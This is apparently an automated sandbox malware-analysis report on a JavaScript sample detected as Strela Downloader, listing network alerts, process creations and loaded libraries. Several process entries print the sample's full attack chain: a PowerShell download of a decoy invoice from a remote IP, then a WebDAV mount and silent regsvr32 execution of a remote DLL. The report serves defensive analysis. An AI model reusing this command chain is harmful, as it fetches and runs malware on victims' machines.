Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1458452429.000001FC4E084000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1516583889.000001A38B475000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1517171370.000001A38B448000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1515164448.000001A38B49E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1517234068.000001A38B475000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1517171370.000001A38B448000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/p
Source: net.exe, 00000007.00000002.1517171370.000001A38B448000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/temG
Source: svchost.exe, 00000009.00000002.2738025488.000001D397800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1516874647.000001D397660000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4268, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1932574451821324222.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6740:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0rscxlpa.kb3.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1932574451821324222.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1756,i,13587920428171030533,5355193097296615401,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1756,i,13587920428171030533,5355193097296615401,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
